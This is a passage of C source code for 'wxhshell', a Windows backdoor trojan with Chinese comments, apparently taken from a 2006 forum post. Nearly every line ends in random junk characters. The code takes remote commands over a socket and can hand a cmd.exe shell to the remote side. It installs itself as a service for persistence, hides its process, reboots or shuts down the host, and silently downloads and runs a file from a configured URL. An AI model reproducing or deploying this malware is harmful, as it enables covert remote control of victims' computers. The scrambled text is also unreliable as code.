  else { 4|U$ON?x  
! [3  /!  
    switch(cmd[0]) { 5-*hAOThg  
  qtrN=c3x  
  // 帮助 yM}~]aQ y  
  case '?': { X<8?>#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `)~]3zmG  
    break; p>oC.[:4a  
  } #ME!G/  
  // 安装 T3wQRn  
  case 'i': { \3"jW1Wb  
    if(Install()) NTWy1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Oiz|b(  
    else ml,FBBGq|-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u}r>?/V!  
    break; @6lw_E_5  
    } *qa.hqas  
  // 卸载 S4 j5-  
  case 'r': { Jn7T5$pJ  
    if(Uninstall()) #B2a?   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW?_fse*[  
    else )d~{gPr.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8NnGN(a*D  
    break; ,Iv eKk5W  
    } ~ k"r  
  // 显示 wxhshell 所在路径 ^yLhL^Y  
  case 'p': { ThvgYv--B  
    char svExeFile[MAX_PATH]; _sqj~|K  
    strcpy(svExeFile,"\n\r"); &L[i"1a  
      strcat(svExeFile,ExeFile); "_^vQ1M]Z  
        send(wsh,svExeFile,strlen(svExeFile),0); _^/k  
    break; 9\'JtZO  
    } `' .;U=mF  
  // 重启 HVdy!J  
  case 'b': { CP'b,}Dd?I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' kOkwGf!  
    if(Boot(REBOOT)) %1oB!+tv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\O[j*h^.  
    else { ]z#+3DaH  
    closesocket(wsh); 6o0}7T%6  
    ExitThread(0); &t~NR$@  
    } S;0z%$y  
    break; n1U!od  
    } \wV^uS   
  // 关机 O=[Q >\p  
  case 'd': { Uiv4'v Yg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5,\-;  
    if(Boot(SHUTDOWN)) m#Ydq(0+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @cr/&  
    else { O llS  
    closesocket(wsh); mv,5Q6!  
    ExitThread(0); 29AE B  
    } 2$OV`qy@?  
    break; wrQ0 2?  
    } 1oc@]0n  
  // 获取shell J@o_-\@  
  case 's': { 7{Lp/z%r  
    CmdShell(wsh); pwH*&YU  
    closesocket(wsh); J!Q #xs  
    ExitThread(0); 9a2[_Wy  
    break; XJ!?>)N .  
  } )1 f%kp#]  
  // 退出 ]]o?!NX  
  case 'x': { Kf-XL ),3l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o|$r;<o3R  
    CloseIt(wsh); RNF%i~nhO  
    break; &S=Qu?H  
    } 2`^6``  
  // 离开 gR+P !Eow  
  case 'q': { Mkh/+f4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [_eT{v2B4  
    closesocket(wsh); ppo.#p0w  
    WSACleanup(); %+htA0aX  
    exit(1); GorEHlvVh  
    break; v#lrF\G5  
        } ZZw2m@T>  
  } fH@cC`  
  } IL`LI J:O  
/lC,5y  
  // 提示信息 /mA\)TL|]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -^)<FY\  
} <&^[?FdAa  
  } :>}7^1I  
@SH[<c  
  return; XuWX@cK  
} .]H/u "d  
%+ nM4)h  
// shell模块句柄 M]|]b-#  
int CmdShell(SOCKET sock) Y<IuwS  
{ Ee_?aG e&  
STARTUPINFO si; /6rQ.+|).  
ZeroMemory(&si,sizeof(si)); h<V,0sZ&:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o|u4C{j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _&(L{cFx6  
PROCESS_INFORMATION ProcessInfo; T6b~uE  
char cmdline[]="cmd"; F Uz1P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nuDu  
  return 0; <ne?;P1L  
} CA1Jjm=  
S}fQis  
// 自身启动模式 !?R#e`}  
int StartFromService(void) k`o8(zPb  
{ :_<&LO]Q  
typedef struct H | C3{9  
{ 3dz{" hV  
  DWORD ExitStatus; rb}fP #j  
  DWORD PebBaseAddress; pTaC$Ne  
  DWORD AffinityMask; y4! :l=E^  
  DWORD BasePriority; 7Vk9{x$z  
  ULONG UniqueProcessId; UD8e,/  
  ULONG InheritedFromUniqueProcessId; 5t-d+vB  
}   PROCESS_BASIC_INFORMATION; 6ddRFpe  
bo/<3gR  
PROCNTQSIP NtQueryInformationProcess; o~9sO=-O  
7IFZK\V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Tm.M7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rg ; 4INs#  
8bQXC+bK  
  HANDLE             hProcess; [m4M#Lg\0  
  PROCESS_BASIC_INFORMATION pbi; Ie K+  
@{U UB=}9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tay$::V  
  if(NULL == hInst ) return 0; ~9OZRt[&  
]8R@2L3s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bHcBjk.\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1;KJUf[N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U.V/JbXX  
~%lA! tsek  
  if (!NtQueryInformationProcess) return 0; tK@7t0  
V;g) P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \D k >dE&I  
  if(!hProcess) return 0; HL]J=Gh  
pacD7'1{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pr>05lg  
=f H5 r_n  
  CloseHandle(hProcess); BeLqk3'/  
+)bn}L>R l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3.Yg3&"Z  
if(hProcess==NULL) return 0; d2NFdBoI  
j/Y]3RSMp  
HMODULE hMod; 8(&6*- 7=  
char procName[255]; yY!)2{F+  
unsigned long cbNeeded; %I9f_5BlT8  
/_HTW\7,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :/%Y"0  
qdy(C^(fa  
  CloseHandle(hProcess); 2@?X>,  
(,t[`z  
if(strstr(procName,"services")) return 1; // 以服务启动 tBfmjxv  
"g)bNgGV}  
  return 0; // 注册表启动 ',!jYh}Uxk  
} $=,pQ q  
vE8BB$D  
// 主模块 %~k>$(u6  
int StartWxhshell(LPSTR lpCmdLine) tl{{Vc[  
{ >itNa.K  
  SOCKET wsl; ;~L,Aqn7  
BOOL val=TRUE; 5073Q~  
  int port=0; 6$:Q]zR#'H  
  struct sockaddr_in door; h)fsLzn]Tf  
x#&_/oqAk  
  if(wscfg.ws_autoins) Install(); jjQDw=6  
q9p31b3  
port=atoi(lpCmdLine); L1I1SFG  
YlUh|sK7m  
if(port<=0) port=wscfg.ws_port; !q,7@W3i  
j24DL+  
  WSADATA data; LLT6*up$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !'rdHSy  
,Y6]x^W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7sQHz.4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); us~cIGm  
  door.sin_family = AF_INET; rM,f7hm[S*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^&C/,,U  
  door.sin_port = htons(port); J)y g<*/3  
2}XRqa.|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v0!|TI3s  
closesocket(wsl); !hM`Oe`S  
return 1; ;-JFb$m  
} !ht2*8$lQ  
aNY-F)XWa  
  if(listen(wsl,2) == INVALID_SOCKET) { ykJ+LS{+  
closesocket(wsl); JNXzZ4U  
return 1; KM)f~^  
} NOwd'iU  
  Wxhshell(wsl); D!OY<?  
  WSACleanup(); 0HU0p!yt&  
Z3YKG{g  
return 0; +jZa A/  
64#Ri!RR}  
} V s xI  
'I+M*Iy  
// 以NT服务方式启动 Nu?A>Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %*!6R:gAp  
{ n"aF#HR?0d  
DWORD   status = 0; gm,AH85  
  DWORD   specificError = 0xfffffff; i ]8bj5j{  
Vt3*~Beb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?wlRHVZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yQ[;.<%v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %qo.n v  
  serviceStatus.dwWin32ExitCode     = 0; J^CAQfcx  
  serviceStatus.dwServiceSpecificExitCode = 0; eR>8V8@  
  serviceStatus.dwCheckPoint       = 0; b/qK/O8J  
  serviceStatus.dwWaitHint       = 0; vdvnwzp!l  
Kr'?h'F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Vltc4QU  
  if (hServiceStatusHandle==0) return; Yq51+\d  
IO9|o!&>  
status = GetLastError(); :L+ xEL  
  if (status!=NO_ERROR) Rc{R^5B  
{ a%U#PF6   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6,jCO@!   
    serviceStatus.dwCheckPoint       = 0; (B$>o.(JA  
    serviceStatus.dwWaitHint       = 0; Y$"m*0  
    serviceStatus.dwWin32ExitCode     = status; xRgdU+,Mj  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;92xSe"Ww  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j!!s>7IZ  
    return; 0wNlt#G;{  
  } xg7KU&  
=O"]e/CfO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u6?9#L(  
  serviceStatus.dwCheckPoint       = 0; =y@0i l+V  
  serviceStatus.dwWaitHint       = 0; $\vNST E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,{S $&g*  
} "ldd&><  
4v _Hh<%  
// 处理NT服务事件,比如:启动、停止 ,aUbB8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0fBwy/:  
{ SPdEO3  
switch(fdwControl) hp/pm6  
{ pO7OP"q1  
case SERVICE_CONTROL_STOP: QN$s %&O  
  serviceStatus.dwWin32ExitCode = 0; <'$>&^!^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7]1a3Jk  
  serviceStatus.dwCheckPoint   = 0; !*~QB4\2b  
  serviceStatus.dwWaitHint     = 0; hx;kNcPbI  
  { - A@<zqu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GVlT+Rs7  
  } :Ch XzZ  
  return; a}f /<-L  
case SERVICE_CONTROL_PAUSE: 7?uDh'utt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]g;+7  
  break; b(R.&X  
case SERVICE_CONTROL_CONTINUE: ko[d axUB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =hb)e}l  
  break; fPKpV`Hr3  
case SERVICE_CONTROL_INTERROGATE: U`EOun ,  
  break; dL+yd0 b*  
}; ZAy/u@qt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \db=]L=|  
} CC"a2Hu/  
M[z1B!rT  
// 标准应用程序主函数 .On qj^v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XI[n!)3  
{ /1{:uh$  
)h 6w@TF  
// 获取操作系统版本 ?.F^Oi6 u  
OsIsNt=GetOsVer(); uQn1kI[y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n!~ $Z/  
8]vut{  
  // 从命令行安装 4XVwi<)  
  if(strpbrk(lpCmdLine,"iI")) Install(); z7:* ,X  
@J 5TDq @  
  // 下载执行文件 B=n90XO |  
if(wscfg.ws_downexe) { j #: ARb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p6BDhT(RS  
  WinExec(wscfg.ws_filenam,SW_HIDE); xFThs,w  
} GXD<X_[  
sUc[!S:/  
if(!OsIsNt) { R\7r!38  
// 如果时win9x,隐藏进程并且设置为注册表启动 1,OkuyXy!>  
HideProc(); EZ"i0u  
StartWxhshell(lpCmdLine); .),9q z`  
} #prYZcHv:_  
else .5s58H cg,  
  if(StartFromService()) D]"W|.6@  
  // 以服务方式启动 Da8gOZ  
  StartServiceCtrlDispatcher(DispatchTable); Xp06sl7 M  
else ]R}(CaT1  
  // 普通方式启动 yl@Nyu  
  StartWxhshell(lpCmdLine); u8>aO>(bVg  
G}l9 [lE  
return 0; Iq,h}7C8'  
}
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只看该作者 1 发表于: 2006-10-10
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